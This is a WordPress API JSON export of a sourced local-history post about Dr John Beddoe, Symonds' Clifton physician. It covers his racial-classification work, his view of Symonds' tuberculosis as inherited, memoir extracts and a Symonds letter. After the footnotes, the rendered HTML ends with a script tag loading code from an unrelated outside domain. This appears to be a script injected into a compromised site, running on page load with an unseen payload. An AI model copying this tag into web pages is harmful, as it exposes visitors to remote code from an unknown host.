{"id":774,"date":"2014-09-01T21:56:29","date_gmt":"2014-09-01T21:56:29","guid":{"rendered":"http:\/\/watsonian.co.uk\/symonds\/?p=774"},"modified":"2022-08-14T21:47:21","modified_gmt":"2022-08-14T21:47:21","slug":"dr-john-beddoe-1870s","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=774","title":{"rendered":"Dr John Beddoe, 1870s"},"content":{"rendered":"<p><strong>2 Lansdown Place, Victoria Square, Clifton<\/strong><\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-774 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1110'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/102_0668-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" \/><\/a>\n\t\t\t<\/dt><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1320'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/13192663743328e4669b77db5904-11-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" \/><\/a>\n\t\t\t<\/dt><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1322'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/beddoes2-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-1-1322\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-1-1322'>\n\t\t\t\tJohn Beddoe, 1850s\n\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t<\/div>\n\n<p>&nbsp;<\/p>\n<p>Home of Symonds&#8217; physician Dr John Beddoe. A proponent of racial classification, Beddoe published extensively on the measurement of supposed ethnic characteristics. He\u00a0believed that Symonds&#8217; tuberculosis resulted from an inevitably &#8220;consumptive&#8221; nature, and discouraged him from indulging in literary society.<\/p>\n<p>Beddoe came to Clifton in 1857 to begin his medical practice, where he found it difficult to advance in the field shared by Symonds&#8217; father: &#8220;[T]he way was really completely blocked. Dr. John Addington Symonds, father of the gifted author of the same name, had the best practice of the kind out of London. He was a man of remarkable ability, character, and general accomplishments and still in middle life. William Budd, a man of brilliant genius, and Brittan, also of fair ability, and two or three younger men, were all in reality waiting for the reversion.&#8221;<sup><a href=\"#footnote_0_774\" id=\"identifier_0_774\" class=\"footnote-link footnote-identifier-link\" title=\"John Beddoe, Memories of Eighty Years (Bristol: J.W. Arrowsmith, 1910), p. 161\">1<\/a><\/sup><\/p>\n<p>During his time at the Clifton Dispensary, the younger Symonds came under Beddoe&#8217;s care. Beddoe&#8217;s memoirs reported his theory that Symonds&#8217; illness was an inevitable consequence of his constitution:<\/p>\n<blockquote><p>[Dr. Symonds] had put his only son, the younger and more widely-known John Addington Symonds, under my medical charge; and my young patient had become one of my most attached and dearest friends. This relation continued during his life, though after his removal to Davos, by the advice of Sir William Jenner and myself, I of course rarely saw him. There is hardly anything on which I look back with more satisfaction than the fact he dedicated to me his greatest work, <em>The History of the Renaissance<\/em>. My impression of his character and temperament was not exactly that which comes somewhat prominently forward in Mr. H. Brown&#8217;s life of him. There is, of course, somewhat of a neurotic temperament in the constitution of almost all poets, and Symonds was essentially a poet. And though it was long before pulmonary disease positively declared itself, yet from his youth I always felt that its development was but a question of time and opportunity, so distinctly\u00a0was he in body and mind of the &#8220;consumptive&#8221; character. We are told nowadays that pthisis is not inherited, but this is little more than a play upon words; the pthisical constitution, the susceptible soil, is certainly heritable, and with it, as with him, often concurs a brilliant intellect and a most lovable character. All these he transmitted to his eldest daughter, who, alas! did not live to maturity.<br \/>\nHe loved the literary society of London, and one was early forced to warn him off from it. He loved Italy, and Italy was fatal to him. It was after a visit to Mentone that I first detected actual mischief in his lungs.<sup><a href=\"#footnote_1_774\" id=\"identifier_1_774\" class=\"footnote-link footnote-identifier-link\" title=\"Beddoe, p.222 \">2<\/a><\/sup><\/p><\/blockquote>\n<p>In May 1876, Symonds returned\u00a0to England to lecture at the Royal Institution, only to discover that Dr Beddoe had written to the secretary\u00a0to cancel the engagement.<\/p>\n<blockquote><p>It is provoking. If I had\u00a0known this, we should have stayed another two weeks\u00a0in Lombardy. Yet I believe he is right in checking me\u00a0thus. I have never lost my cough, and I feel still extremely weak. Ill health is a terrible cross to me. Here is another instance : after all the work I have done\u00a0in licking the Bristol University College into shape, I am not put upon its Council ; and I cannot complain,\u00a0because I know that my residence at Clifton will be\u00a0always liable to interruption by these health journeys.<br \/>\nI had taken much pains with my three lectures on\u00a0Florence and the Medici. They lie before me now, a goodly MS. volume, destined apparently to lie so\u2014<em>inutilis alga. \u00a0<\/em><sup><a href=\"#footnote_2_774\" id=\"identifier_2_774\" class=\"footnote-link footnote-identifier-link\" title=\"John Addington Symonds, The Letters of John Addington Symonds, Vol 2, ed. by Herbert M. Schueller &amp; Robert L. Peters (Detroit: Wayne State University Press, 1968), p.413\">3<\/a><\/sup> <\/p><\/blockquote>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-2 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-2 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-2 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-2 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-2' class='gallery galleryid-774 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon portrait'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=1111'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/09\/row_0032-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" aria-describedby=\"gallery-2-1111\" \/><\/a>\n\t\t\t<\/dt>\n\t\t\t\t<dd class='wp-caption-text gallery-caption' id='gallery-2-1111'>\n\t\t\t\tDr John Beddoe\n\t\t\t\t<\/dd><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n<ol class=\"footnotes\"><li id=\"footnote_0_774\" class=\"footnote\">John Beddoe, Memories of Eighty Years (Bristol: J.W. Arrowsmith, 1910), p. 161 [<a href=\"#identifier_0_774\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_1_774\" class=\"footnote\">Beddoe, p.222  [<a href=\"#identifier_1_774\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_2_774\" class=\"footnote\">John Addington Symonds, The Letters of John Addington Symonds, Vol 2, ed. by Herbert M. Schueller &amp; Robert L. Peters (Detroit: Wayne State University Press, 1968), p.413 [<a href=\"#identifier_2_774\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>2 Lansdown Place, Victoria Square, Clifton &nbsp; Home of Symonds&#8217; physician Dr John Beddoe. A proponent of racial classification, Beddoe published extensively on the measurement of supposed ethnic characteristics. He\u00a0believed that Symonds&#8217; tuberculosis resulted from an inevitably &#8220;consumptive&#8221; nature, and discouraged him from indulging in literary society. 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